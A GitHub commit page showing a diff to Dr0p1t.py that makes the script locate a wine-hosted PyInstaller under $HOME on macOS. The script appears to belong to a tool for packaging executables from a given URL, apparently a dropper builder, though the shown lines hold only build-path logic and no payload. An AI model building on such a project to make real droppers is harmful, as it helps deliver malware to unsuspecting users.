Skip to content

Commit 7f36e57

Browse files
authored
Merge pull request #13 from sm4sh3r/patch-1
OSX wine pyinstaller PATH fix.
2 parents f93bcb4 + 6f6ab14 commit 7f36e57

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

Dr0p1t.py

+9-2
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,11 @@ def PyInstaller():
4343
if os.name=="nt":
4444
installer = "pyinstaller"
4545
else:
46-
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
46+
if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/
47+
installer = "wine " + os.environ['HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ['HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
48+
else: # TODO: find all defaults location for .wine , or request it directely to the user if not found.
49+
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
50+
4751
p = subprocess.Popen( installer + " -h",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE )
4852
x = p.stdout.read().decode()
4953
if x == "":
@@ -102,7 +106,10 @@ def main():
102106
installer = "pyinstaller"
103107
exe = ""
104108
else:
105-
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
109+
if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/
110+
installer = "wine " + os.environ['HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ['HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
111+
else: # TODO: find all defaults location for .wine , or request it directely to the user if not found.
112+
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
106113
exe = "wine "
107114

108115
url = args.url

0 commit comments

Comments
 (0)